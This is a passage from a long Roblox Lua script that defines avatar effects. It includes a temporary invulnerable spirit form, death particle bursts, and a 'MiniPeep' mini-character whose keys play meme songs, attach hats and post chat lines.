  5258. for i,v in pairs(hit.Parent:GetChildren())do
  5259. if v:IsA"Humanoid" then
  5260. game:GetService("Chat"):Chat(Head,"Here,a created life.",0)
  5261. elseif v:IsA"Part" then
  5262. game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1)
  5263. v.Velocity = v.Position * Vector3.new(50,3,0)
  5264. v.RotVelocity = v.Position - v.Velocity
  5265. v:MakeJoints()
  5266. end end end
  5267. end)
  5268. humanoid.Died:connect(function()
  5269. game:GetService("Chat"):Chat(Head,"I'm sorry,I have failed.",2)
  5270. for cframe_parts = 0, 100 do
  5271. local p = Instance.new("Part")
  5272. p.FormFactor = "Custom"
  5273. p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)])
  5274. p.Size = Vector3.new(1, 1, 1)
  5275. Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  5276. p.Locked = true
  5277. p.CanCollide = false
  5278. p.Anchored = true
  5279. p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50))
  5280. p.Parent = workspace
  5281. local box = Instance.new("SelectionBox", p)
  5282. box.Color = BrickColor.new(Colors[math.random(1, #Colors)])
  5283. box.Adornee = p
  5284. box.Transparency = 0.5
  5285. box.Visible = true
  5286. local spirit = Instance.new("Fire", p)
  5287. spirit.Color = Color3.new(255,255,255)
  5288. spirit.Enabled = true
  5289. spirit.Heat = 10
  5290. spirit.SecondaryColor = Color3.new(0,0,0)
  5291. spirit.Size = 5
  5292. game:service'Debris':AddItem(p, 5)
  5293. coroutine.wrap(function()
  5294. while wait() do
  5295. if p ~= nil then
  5296. p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  5297. p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  5298. p.Transparency = p.Transparency + 0.015
  5299. else
  5300. break
  5301. end
  5302. end
  5303. end)()
  5304. end
  5305. for _,v in pairs(char:children()) do
  5306. if v:IsA("Part") then
  5307. v:Destroy()
  5308. end
  5309. end
  5310.  
  5311. end)
  5312. local function Button1Down(mouse)
  5313. game:GetService("Chat"):Chat(Head,"I shall spare all life.",1)
  5314. if spirit == false then
  5315. spirit = true
  5316. RightArm.Transparency = 1
  5317. LeftArm.Transparency = 1
  5318. RightLeg.Transparency = 1
  5319. LeftLeg.Transparency = 1
  5320. Head.Transparency = 1
  5321. Torso.Transparency = 1
  5322. local protect = Instance.new("ForceField", char)
  5323. protect.Archivable = true
  5324. local spirit = Instance.new("Fire", char.Torso)
  5325. spirit.Color = Color3.new(255,255,255)
  5326. spirit.Enabled = true
  5327. spirit.Heat = 10
  5328. spirit.SecondaryColor = Color3.new(0,0,0)
  5329. spirit.Size = 5
  5330. humanoid.MaxHealth = math.huge
  5331. wait()
  5332. humanoid.WalkSpeed = 100
  5333. wait(20)
  5334. spirit = false
  5335. game:GetService("Chat"):Chat(Head,"I will continue to spare souls.",1)
  5336. RightArm.Transparency = 0
  5337. LeftArm.Transparency = 0
  5338. RightLeg.Transparency = 0
  5339. LeftLeg.Transparency = 0
  5340. Head.Transparency = 0
  5341. Torso.Transparency = 0
  5342. char.Torso.Fire:Remove()
  5343. humanoid.Health = 100
  5344. humanoid.WalkSpeed = 16
  5345. char.Head.face:Remove()
  5346. char.ForceField:Remove()
  5347. char.Pants:Remove()
  5348. char.Shirt:Remove()
  5349. end
  5350. end
  5351. script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]]
  5352. MiniPeep = [[
  5353. local ran,err = ypcall(function()
  5354. plr = game:service'Players'.LocalPlayer
  5355. char = plr.Character
  5356. mouse = plr:GetMouse()
  5357. humanoid = char:findFirstChild("Humanoid")
  5358. torso = char:findFirstChild("Torso")
  5359. head = char.Head
  5360. ra = char:findFirstChild("Right Arm")
  5361. la = char:findFirstChild("Left Arm")
  5362. rl = char:findFirstChild("Right Leg")
  5363. ll = char:findFirstChild("Left Leg")
  5364. rs = torso:findFirstChild("Right Shoulder")
  5365. ls = torso:findFirstChild("Left Shoulder")
  5366. rh = torso:findFirstChild("Right Hip")
  5367. lh = torso:findFirstChild("Left Hip")
  5368. neck = torso:findFirstChild("Neck")
  5369. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  5370. anim = char:findFirstChild("Animate")
  5371. rootpart = char:findFirstChild("HumanoidRootPart")
  5372. camera = workspace.CurrentCamera
  5373. if anim then
  5374. anim:Destroy()
  5375. end
  5376. rj.C0 = CFrame.new()
  5377. rj.C1 = CFrame.new()
  5378. super_annoying = Instance.new("Sound", head)
  5379. super_annoying.SoundId = "http://www.roblox.com/asset/?id=149613358"
  5380. super_annoying.Volume = 1
  5381. super_annoying.Looped = true
  5382. uni = Instance.new("Sound", head)
  5383. uni.SoundId = "http://www.roblox.com/asset/?id=141444871"
  5384. uni.Volume = 1
  5385. uni.Looped = true
  5386. ann = Instance.new("Sound", head)
  5387. ann.SoundId = "http://www.roblox.com/asset/?id=130808056"
  5388. ann.Volume = 1
  5389. ann.Looped = true
  5390. fwutters = Instance.new("Sound", head)
  5391. fwutters.SoundId = "http://www.roblox.com/asset/?id=148896355"
  5392. fwutters.Volume = 1
  5393. fwutters.Looped = true
  5394. Cobalt1164l = Instance.new("Sound", head)
  5395. Cobalt1164l.SoundId = "http://www.roblox.com/asset/?id=130803007"
  5396. Cobalt1164l.Volume = 1
  5397. Cobalt1164l.Looped = true
  5398. land_of_swords = Instance.new("Sound", head)
  5399. land_of_swords.SoundId = "http://www.roblox.com/asset/?id=142357253"
  5400. land_of_swords.Volume = 1
  5401. land_of_swords.Looped = true
  5402. qq = Instance.new("Sound", head)
  5403. qq.SoundId = "http://www.roblox.com/asset/?id=142295308"
  5404. qq.Volume = 1
  5405. qq.Looped = true
  5406. doge = Instance.new("Sound", head)
  5407. doge.SoundId = "http://www.roblox.com/asset/?id=138213729"
  5408. doge.Volume = 1
  5409. doge.Looped = true
  5410. nyan = Instance.new("Sound", head)
  5411. nyan.SoundId = "http://www.roblox.com/asset/?id=142332086"
  5412. nyan.Volume = 1
  5413. nyan.Looped = true
  5414. sctmn = Instance.new("Sound", head)
  5415. sctmn.SoundId = "http://www.roblox.com/asset/?id=143620887"
  5416. sctmn.Volume = 1
  5417. sctmn.Looped = true
  5418. barrel_roll = Instance.new("Sound", head)
  5419. barrel_roll.SoundId = "http://www.roblox.com/asset/?id=130791919"
  5420. barrel_roll.Volume = 1
  5421. barrel_roll.Looped = true
  5422. dubstep_gun = Instance.new("Sound", head)
  5423. dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=147096633"
  5424. dubstep_gun.Volume = 1
  5425. dubstep_gun.Looped = true
  5426. you_are_pirate = Instance.new("Sound", head)
  5427. you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=130888577"
  5428. you_are_pirate.Volume = 1
  5429. you_are_pirate.Looped = true
  5430. cant_touch = Instance.new("Sound", head)
  5431. cant_touch.SoundId = "http://www.roblox.com/asset/?id=131280929"
  5432. cant_touch.Volume = 1
  5433. cant_touch.Looped = true
  5434. gangy_style = Instance.new("Sound", head)
  5435. gangy_style.SoundId = "http://www.roblox.com/asset/?id=130844430"
  5436. gangy_style.Volume = 1
  5437. gangy_style.Looped = true
  5438. fox_say = Instance.new("Sound", head)
  5439. fox_say.SoundId = "http://www.roblox.com/asset/?id=143110546"
  5440. fox_say.Volume = 1
  5441. fox_say.Looped = true
  5442. durk = Instance.new("Sound", head)
  5443. durk.SoundId = "http://www.roblox.com/asset/?id=142376365"
  5444. durk.Volume = 1
  5445. durk.Looped = true
  5446. sax_guy = Instance.new("Sound", head)
  5447. sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684"
  5448. sax_guy.Volume = 1
  5449. sax_guy.Looped = true
  5450. heman = Instance.new("Sound", head)
  5451. heman.SoundId = "http://www.roblox.com/asset/?id=131102548"
  5452. heman.Volume = 1
  5453. heman.Looped = true
  5454. justin = Instance.new("Sound", head)
  5455. justin.SoundId = "http://www.roblox.com/asset/?id=138154702"
  5456. justin.Volume = 1
  5457. justin.Looped = true
  5458. brony_music = Instance.new("Sound", head)
  5459. brony_music.SoundId = "http://www.roblox.com/asset/?id=143768403"
  5460. brony_music.Volume = 1
  5461. brony_music.Looped = true
  5462. spitfire = Instance.new("Sound", head)
  5463. spitfire.SoundId = "http://www.roblox.com/asset/?id=130776739"
  5464. spitfire.Volume = 1
  5465. spitfire.Looped = true
  5466. burn_dem = Instance.new("Sound", head)
  5467. burn_dem.SoundId = "http://www.roblox.com/asset/?id=132399469"
  5468. burn_dem.Volume = 1
  5469. burn_dem.Looped = true
  5470. cant = Instance.new("Sound", head)
  5471. cant.SoundId = "http://www.roblox.com/asset/?id=131122314"
  5472. cant.Volume = 1
  5473. cant.Looped = true
  5474. if char:findFirstChild("Shirt") then
  5475. char:findFirstChild("Shirt"):Destroy()
  5476. end
  5477. if char:findFirstChild("Pants") then
  5478. char:findFirstChild("Pants"):Destroy()
  5479. end
  5480. if char:findFirstChild("Shirt Graphic") then
  5481. char:findFirstChild("Shirt Graphic"):Destroy()
  5482. end
  5483. Instance.new("HumanoidController", game:service'ControllerService')
  5484. Instance.new("SkateboardController", game:service'ControllerService')
  5485. Instance.new("VehicleController", game:service'ControllerService')
  5486. rh.Parent = nil
  5487. lh.Parent = nil
  5488. rs.Parent = nil
  5489. ls.Parent = nil
  5490. neck.Parent = nil
  5491. rj.Parent = nil
  5492. rl.FormFactor = "Custom"
  5493. ll.FormFactor = "Custom"
  5494. ra.FormFactor = "Custom"
  5495. la.FormFactor = "Custom"
  5496. torso.FormFactor = "Custom"
  5497. head.FormFactor = "Custom"
  5498. rootpart.FormFactor = "Custom"
  5499. rootpart.Size = Vector3.new(.4, .4, .2)
  5500. rl.Size = Vector3.new(.2, .4, .2)
  5501. ll.Size = Vector3.new(.2, .4, .2)
  5502. ra.Size = Vector3.new(.2, .4, .2)
  5503. la.Size = Vector3.new(.2, .4, .2)
  5504. torso.Size = Vector3.new(.4, .4, .2)
  5505. head.Size = Vector3.new(.4, .2, .2)
  5506. rh.Parent = torso
  5507. lh.Parent = torso
  5508. rs.Parent = torso
  5509. ls.Parent = torso
  5510. neck.Parent = torso
  5511. rj.Parent = rootpart
  5512. if torso:findFirstChild("roblox") then
  5513. local p = Instance.new("Part", char)
  5514. p.FormFactor = "Custom"
  5515. p.Size = torso.Size
  5516. p.Transparency = 1
  5517. p:BreakJoints()
  5518. local w = Instance.new("Weld", char)
  5519. w.Part0 = p
  5520. w.Part1 = torso
  5521. torso:findFirstChild("roblox").Parent = p
  5522. end
  5523. mesh1 = Instance.new("SpecialMesh", torso)
  5524. mesh1.Name = "Mesh"
  5525. mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0)
  5526. mesh1.MeshId = "rbxasset://fonts/torso.mesh"
  5527. mesh2 = Instance.new("SpecialMesh", la)
  5528. mesh2.Name = "Mesh"
  5529. mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0)
  5530. mesh2.MeshId = "rbxasset://fonts/leftarm.mesh"
  5531. mesh3 = Instance.new("SpecialMesh", ra)
  5532. mesh3.Name = "Mesh"
  5533. mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0)
  5534. mesh3.MeshId = "rbxasset://fonts/rightarm.mesh"
  5535. mesh4 = Instance.new("SpecialMesh", ll)
  5536. mesh4.Name = "Mesh"
  5537. mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0)
  5538. mesh4.MeshId = "rbxasset://fonts/leftleg.mesh"
  5539. mesh5 = Instance.new("SpecialMesh", rl)
  5540. mesh5.Name = "Mesh"
  5541. mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0)
  5542. mesh5.MeshId = "rbxasset://fonts/rightleg.mesh"
  5543. ls.C0 = CFrame.new(-.3,.1,0)
  5544. ls.C1 = CFrame.new(0,.1,0)
  5545. rs.C0 = CFrame.new(.3,.1,0)
  5546. rs.C1 = CFrame.new(0,.1,0)
  5547. rh.C0 = CFrame.new(.1,-.2,0)
  5548. rh.C1 = CFrame.new(0, .2, 0)
  5549. lh.C0 = CFrame.new(-.1,-.2,0)
  5550. lh.C1 = CFrame.new(0, .2, 0)
  5551. neck.C0 = CFrame.new(0,.2,0)
  5552. neck.C1 = CFrame.new(0,-.1,0)
  5553. bodyc = char:findFirstChild("Body Colors")
  5554. if bodyc then
  5555. bodyc:Destroy()
  5556. end
  5557. wait(0.1)
  5558. skincolor = {"Pastel brown"}
  5559. clothcolor = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
  5560. skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)])
  5561. clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)])
  5562. function restorecolors()
  5563. for _,bp in pairs(char:children()) do
  5564. if bp:IsA("BasePart") then
  5565. bp.BrickColor = skincolorrandom
  5566. end
  5567. end
  5568. torso.BrickColor = clothcolorrandom
  5569. ll.BrickColor = clothcolorrandom
  5570. rl.BrickColor = clothcolorrandom
  5571. end
  5572. restorecolors()
  5573. local LightForTorso = Instance.new("PointLight", head)
  5574. LightForTorso.Range = 15
  5575. LightForTorso.Brightness = 20
  5576. coroutine.wrap(function()
  5577. while LightForTorso ~= nil do
  5578. LightForTorso.Color = Color3.new(math.random(), math.random(), math.random())
  5579. wait(0.8)
  5580. end
  5581. end)()
  5582. local slidecount = 0
  5583. local slidecountmax = 0
  5584. local anim = ""
  5585. local lastanim = anim
  5586. local speed = 0
  5587. local looking = false
  5588. local dancing = false
  5589. local superannoying = false
  5590. local barrelroll = false
  5591. local dubstepgun = false
  5592. local foxie = false
  5593. local durka = false
  5594. local saxguy = false
  5595. local heya = false
  5596. local jb = false
  5597. local bronymusic = false
  5598. local sheddy = false
  5599. local burndem = false
  5600. local canttt = false
  5601. local global_wait = 0
  5602. count = 0
  5603. countspeed = 1
  5604. sine = 0
  5605. sinespeed = 1
  5606. humanoid.WalkSpeed = 20
  5607. local controllerService = game:GetService("ControllerService")
  5608. local controller = controllerService:GetChildren()[1]
  5609. local colors = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
  5610. humanoid.Died:connect(function()
  5611. for cframe_parts = 0, 100 do
  5612. local p = Instance.new("Part")
  5613. p.FormFactor = "Custom"
  5614. p.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
  5615. p.Size = Vector3.new(1, 1, 1)
  5616. Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  5617. p.Locked = true
  5618. p.CanCollide = false
  5619. p.Anchored = true
  5620. p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36))
  5621. p.Parent = workspace
  5622. game:service'Debris':AddItem(p, 5)
  5623. coroutine.wrap(function()
  5624. while wait() do
  5625. if p ~= nil then
  5626. p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  5627. p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  5628. p.Transparency = p.Transparency + 0.015
  5629. else
  5630. break
  5631. end
  5632. end
  5633. end)()
  5634. end
  5635. for _,v in pairs(char:children()) do
  5636. if v:IsA("Part") then
  5637. v:Destroy()
  5638. end
  5639. end
  5640. end)
  5641. mouse.KeyDown:connect(function(k)
  5642. if string.byte(k) == 50 then
  5643. if dancing then return end
  5644. sitting = not sitting
  5645. if sitting then
  5646. local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0))
  5647. local hitz,enz = workspace:FindPartOnRay(ray, char)
  5648. if hitz then
  5649. controller.Parent = nil
  5650. humanoid.WalkSpeed = 0
  5651. coroutine.wrap(function()
  5652. while wait() do
  5653. humanoid.PlatformStand = true
  5654. if sitting == false then humanoid.PlatformStand = false break end
  5655. end
  5656. end)()
  5657. rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
  5658. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
  5659. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
  5660. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
  5661. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
  5662. miniweld = Instance.new("Weld", char)
  5663. miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame)
  5664. miniweld.Part0 = hitz
  5665. miniweld.Part1 = rootpart
  5666. else
  5667. sitting = false
  5668. return
  5669. end
  5670. else
  5671. if miniweld then
  5672. miniweld:Destroy()
  5673. end
  5674. controller.Parent = controllerService
  5675. humanoid.PlatformStand = false
  5676. humanoid.WalkSpeed = 30
  5677. end
  5678. end
  5679. if string.byte(k) == 32 then
  5680. fwutters:Stop()
  5681. uni:Stop()
  5682. Cobalt1164l:Stop()
  5683. qq:Stop()
  5684. ann:Stop()
  5685. nyan:Stop()
  5686. sctmn:Stop()
  5687. cant:Stop()
  5688. superannoying = false
  5689. barrelroll = false
  5690. heya = false
  5691. dubstepgun = false
  5692. youpirate = false
  5693. canttouch = false
  5694. gangnam = false
  5695. sheddy = false
  5696. durka = false
  5697. saxguy = false
  5698. foxie = false
  5699. burndem = false
  5700. bronymusic = false
  5701. canttt = false
  5702. land_of_swords:stop()
  5703. brony_music:stop()
  5704. fox_say:stop()
  5705. spitfire:stop()
  5706. heman:stop()
  5707. doge:Stop()
  5708. justin:stop()
  5709. jb = false
  5710. durk:stop()
  5711. restorecolors()
  5712. burn_dem:stop()
  5713. if hat then
  5714. hat:Destroy()
  5715. end
  5716. sax_guy:stop()
  5717. gangy_style:stop()
  5718. cant_touch:stop()
  5719. you_are_pirate:stop()
  5720. dubstep_gun:stop()
  5721. super_annoying:stop()
  5722. barrel_roll:stop()
  5723. dancing = false
  5724. global_wait = 0
  5725. LightForTorso.Color = torso.BrickColor.Color
  5726. end
  5727. if k == "z" then
  5728. if dancing then return end
  5729. if not sitting then
  5730. dancing = true
  5731. game:GetService("Chat"):Chat(head,"Jb Time!",0)
  5732. jb = true
  5733. super_annoying:play()
  5734. hat = Instance.new("Part", char)
  5735. hat.FormFactor = "Custom"
  5736. hat.CanCollide = false
  5737. hat.Size = head.Size
  5738. hat.Locked = true
  5739. hat:breakJoints()
  5740. local hatmesh = Instance.new("SpecialMesh", hat)
  5741. hatmesh.MeshId = "http://www.roblox.com/asset/?id=84302661"
  5742. hatmesh.TextureId = "http://www.roblox.com/asset/?id=84302759"
  5743. hatmesh.Scale = Vector3.new(.2, .2, .2)
  5744. local hatweld = Instance.new("Weld", hat)
  5745. hatweld.Part0 = hat
  5746. hatweld.Part1 = head
  5747. hatweld.C0 = CFrame.new(0, -0.6, 0)
  5748. end
  5749. end
  5750. if k == "=" then
  5751. if dancing then return end
  5752. if not sitting then
  5753. dancing = true
  5754. canttt = true
  5755. cant:play()
  5756. game:GetService("Chat"):Chat(head,"Can't touch me!",0)
  5757. end
  5758. end
  5759. if k == "u" then
  5760. if dancing then return end
  5761. if not sitting then
  5762. dancing = true
  5763. game:GetService("Chat"):Chat(head,"I'm a scat man!",0)
  5764. saxguy = true
  5765. sctmn:play()
  5766. hat = Instance.new("Part", char)
  5767. hat.FormFactor = "Custom"
  5768. hat.CanCollide = false
  5769. hat.Size = head.Size
  5770. hat.Locked = true
  5771. hat:breakJoints()
  5772. local hatmesh = Instance.new("SpecialMesh", hat)
  5773. hatmesh.MeshId = "http://www.roblox.com/asset/?id=43996479"
  5774. hatmesh.TextureId = "http://www.roblox.com/asset/?id=43997070"
  5775. hatmesh.Scale = Vector3.new(.0925, .0925, .0925)
  5776. local hatweld = Instance.new("Weld", hat)
  5777. hatweld.Part0 = hat
  5778. hatweld.Part1 = la
  5779. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  5780. end
  5781. end
  5782.  
  5783. if k == "k" then
  5784. if dancing then return end
  5785. if not sitting then
  5786. dancing = true
  5787. game:GetService("Chat"):Chat(head,"Ain't anybody got time for dat!",0)
  5788. sheddy = true
  5789. spitfire:play()
  5790. end
  5791. end
  5792. if k == "," then
  5793. if dancing then return end
  5794. if not sitting then
  5795. dancing = true
  5796. game:GetService("Chat"):Chat(head,"Land of swords!",0)
  5797. foxie = true
  5798. land_of_swords:play()
  5799. hat = Instance.new("Part", char)
  5800. hat.FormFactor = "Custom"
  5801. hat.CanCollide = false
  5802. hat.Size = head.Size
  5803. hat.Locked = true
  5804. hat:breakJoints()
  5805. local hatmesh = Instance.new("SpecialMesh", hat)
  5806. hatmesh.MeshId = "http://www.roblox.com/asset/?id=1285237"
  5807. hatmesh.TextureId = "http://www.roblox.com/asset/?id=118666588"
  5808. hatmesh.Scale = Vector3.new(.25, .25, .25)
  5809. local hatweld = Instance.new("Weld", hat)
  5810. hatweld.Part0 = hat
  5811. hatweld.Part1 = la
  5812. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  5813. end
  5814. end
  5815.  
  5816. if k == "p" then
  5817. if dancing then return end
  5818. if not sitting then
  5819. dancing = true
  5820. foxie = true
  5821. game:GetService("Chat"):Chat(head,"It's raining tacos!",0)
  5822. qq:play()
  5823. hat = Instance.new("Part", char)
  5824. hat.FormFactor = "Custom"
  5825. hat.CanCollide = false
  5826. hat.Size = head.Size
  5827. hat.Locked = true
  5828. hat:breakJoints()
  5829. local hatmesh = Instance.new("SpecialMesh", hat)
  5830. hatmesh.MeshId = "http://www.roblox.com/asset/?id=14846869"
  5831. hatmesh.TextureId = "http://www.roblox.com/asset/?id=14846834"
  5832. hatmesh.Scale = Vector3.new(.25, .25, .25)
  5833. local hatweld = Instance.new("Weld", hat)
  5834. hatweld.Part0 = hat
  5835. hatweld.Part1 = la
  5836. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  5837. end
  5838. end
  5839.  
  5840. if k == ";" then
  5841. if dancing then return end
  5842. if not sitting then
  5843. dancing = true
  5844. game:GetService("Chat"):Chat(head,"PICK THE UNICORN!",0)
  5845. heya = true
  5846. uni:play()
  5847. hat = Instance.new("Part", char)
  5848. hat.FormFactor = "Custom"
  5849. hat.CanCollide = false
  5850. hat.Size = head.Size
  5851. hat.Locked = true
  5852. hat:breakJoints()
  5853. local hatmesh = Instance.new("SpecialMesh", hat)
  5854. hatmesh.MeshId = "http://www.roblox.com/asset/?id=84003494"
  5855. hatmesh.TextureId = "http://www.roblox.com/asset/?id=83992632"
  5856. hatmesh.Scale = Vector3.new(.25, .25, .25)
  5857. local hatweld = Instance.new("Weld", hat)
  5858. hatweld.Part0 = hat
  5859. hatweld.Part1 = la
  5860. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  5861. end
  5862. end
  5863.  
  5864. if k == "n" then
  5865. if dancing then return end
  5866. if not sitting then
  5867. dancing = true
  5868. game:GetService("Chat"):Chat(head,"Gangnam Style!",0)
  5869. gangnam = true
  5870. gangy_style:play()
  5871. end
  5872. end
  5873. if k == "t" then
  5874. if dancing then return end
  5875. if not sitting then
  5876. dancing = true
  5877. game:GetService("Chat"):Chat(head,"x3",0)
  5878. heya = true
  5879. ann:play()
  5880. end
  5881. end
  5882. if k == "-" then
  5883. if dancing then return end
  5884. if not sitting then
  5885. dancing = true
  5886. game:GetService("Chat"):Chat(head,"TROCobalt1164OCobalt1164OLO",0)
  5887. heya = true
  5888. Cobalt1164l:play()
  5889. end
  5890. end
  5891.  
  5892. if k == "r" then
  5893. if dancing then return end
  5894. if not sitting then
  5895. dancing = true
  5896. game:GetService("Chat"):Chat(head,"BURN! BURN THEM!",0)
  5897. burndem = true
  5898. burn_dem:play()
  5899. end
  5900. end
  5901. if k == "x" then
  5902. if dancing then return end
  5903. if not sitting then
  5904. dancing = true
  5905. game:GetService("Chat"):Chat(head,"Do the barrel roll!",0)
  5906. barrelroll = true
  5907. barrel_roll:play()
  5908. hat = Instance.new("Part", char)
  5909. hat.FormFactor = "Custom"
  5910. hat.CanCollide = false
  5911. hat.Size = torso.Size
  5912. hat.Locked = true
  5913. hat:breakJoints()
  5914. local hatmesh = Instance.new("SpecialMesh", hat)
  5915. hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142"
  5916. hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063"
  5917. hatmesh.Scale = Vector3.new(.22, .2, .22)
  5918. local hatweld = Instance.new("Weld", hat)
  5919. hatweld.Part0 = hat
  5920. hatweld.Part1 = torso
  5921. end
  5922. end
  5923. if k == "h" then
  5924. if dancing then return end
  5925. if not sitting then
  5926. dancing = true
  5927. game:GetService("Chat"):Chat(head,":D",0)
  5928. heman:play()
  5929. heya = true
  5930. hat = Instance.new("Part", char)
  5931. hat.FormFactor = "Custom"
  5932. hat.CanCollide = false
  5933. hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01)
  5934. hat.Locked = true
  5935. hat.BrickColor = BrickColor.new("Hot pink")
  5936. hat:breakJoints()
  5937. local hatweld = Instance.new("Weld", hat)
  5938. hatweld.Part0 = hat
  5939. hatweld.Part1 = torso
  5940. end
  5941. end
  5942. if k == "j" then
  5943. if dancing then return end
  5944. if not sitting then
  5945. dancing = true
  5946. game:GetService("Chat"):Chat(head,"Don drop dat durk durk!",0)
  5947. justin:play()
  5948. jb = true
  5949. hat = Instance.new("Part", char)
  5950. hat.FormFactor = "Custom"
  5951. hat.CanCollide = false
  5952. hat.Size = head.Size
  5953. hat.Locked = true
  5954. hat.BrickColor = BrickColor.new("Hot pink")
  5955. hat:breakJoints()
  5956. local hatmesh = Instance.new("SpecialMesh", hat)
  5957. hatmesh.MeshId = "http://www.roblox.com/asset/?id=19999424"
  5958. hatmesh.TextureId = "http://www.roblox.com/asset/?id=20571982"
  5959. hatmesh.Scale = Vector3.new(.23, .23, .23)
  5960. local hatweld = Instance.new("Weld", hat)
  5961. hatweld.Part0 = hat
  5962. hatweld.Part1 = head
  5963. hatweld.C0 = CFrame.new(0.025, -0.05, 0)
  5964. end
  5965. end
  5966.  
  5967. if k == "'" then
  5968. if dancing then return end
  5969. if not sitting then
  5970. dancing = true
  5971. fwutters:play()
  5972. game:GetService("Chat"):Chat(head,"Da Fwutters!",0)
  5973. bronymusic = true
  5974. for _,bp in pairs(char:children()) do
  5975. if bp:IsA("BasePart") then
  5976. bp.BrickColor = BrickColor.new("Cool yellow")
  5977. end
  5978. end
  5979. hat = Instance.new("Part", char)
  5980. hat.FormFactor = "Custom"
  5981. hat.CanCollide = false
  5982. hat.Size = head.Size
  5983. hat.Locked = true
  5984. hat.BrickColor = BrickColor.new("Cool yellow")
  5985. hat:breakJoints()
  5986. local hatmesh = Instance.new("SpecialMesh", hat)
  5987. hatmesh.MeshId = "http://www.roblox.com/asset/?id=82348513"
  5988. hatmesh.TextureId = "http://www.roblox.com/asset/?id=36527326"
  5989. hatmesh.Scale = Vector3.new(.28, .28, .28)
  5990. local hatweld = Instance.new("Weld", hat)
  5991. hatweld.Part0 = hat
  5992. hatweld.Part1 = head
  5993. hatweld.C0 = CFrame.new(0.025, 0, 0)
  5994. end
  5995. end
  5996.  
  5997. if k == "c" then
  5998. if dancing then return end
  5999. if not sitting then
  6000. dancing = true
  6001. game:GetService("Chat"):Chat(head,"Yayyy! Caramell!",0)
  6002. dubstepgun = true
  6003. dubstep_gun:play()
  6004. end
  6005. end
  6006.  
  6007. if k == "v" then
  6008. if dancing then return end
  6009. if not sitting then
  6010. dancing = true
  6011. game:GetService("Chat"):Chat(head,"I am a pirate!",0)
  6012. youpirate = true
  6013. you_are_pirate:play()
  6014. hat = Instance.new("Part", char)
  6015. hat.FormFactor = "Custom"
  6016. hat.CanCollide = false
  6017. hat.Size = head.Size
  6018. hat.Locked = true
  6019. hat:breakJoints()
  6020. local hatmesh = Instance.new("SpecialMesh", hat)
  6021. hatmesh.MeshId = "http://www.roblox.com/asset/?id=1028848"
  6022. hatmesh.TextureId = "http://www.roblox.com/asset/?id=1028847"
  6023. hatmesh.Scale = Vector3.new(.2, .2, .2)
  6024. local hatweld = Instance.new("Weld", hat)
  6025. hatweld.Part0 = hat
  6026. hatweld.Part1 = head
  6027. hatweld.C0 = CFrame.new(0, -0.15, 0)
  6028. end
  6029. end
  6030. if k == "m" then
  6031. if dancing then return end
  6032. if not sitting then
  6033. dancing = true
  6034. game:GetService("Chat"):Chat(head,"Can't touch this!",0)
  6035. canttouch = true
  6036. cant_touch:play()
  6037. end
  6038. end
  6039. if k == "b" then
  6040. if dancing then return end
  6041. if not sitting then
  6042. dancing = true
  6043. game:GetService("Chat"):Chat(head,"Now for brony music!",0)
  6044. bronymusic = true
  6045. brony_music:play()
  6046. for _,bp in pairs(char:children()) do
  6047. if bp:IsA("BasePart") then
  6048. bp.BrickColor = BrickColor.new("Pink")
  6049. end
  6050. end
  6051. hat = Instance.new("Part", char)
  6052. hat.FormFactor = "Custom"
  6053. hat.CanCollide = false
  6054. hat.Size = head.Size
  6055. hat.Locked = true
  6056. hat.BrickColor = BrickColor.new("Lavender")
  6057. hat:breakJoints()
  6058. local hatmesh = Instance.new("SpecialMesh", hat)
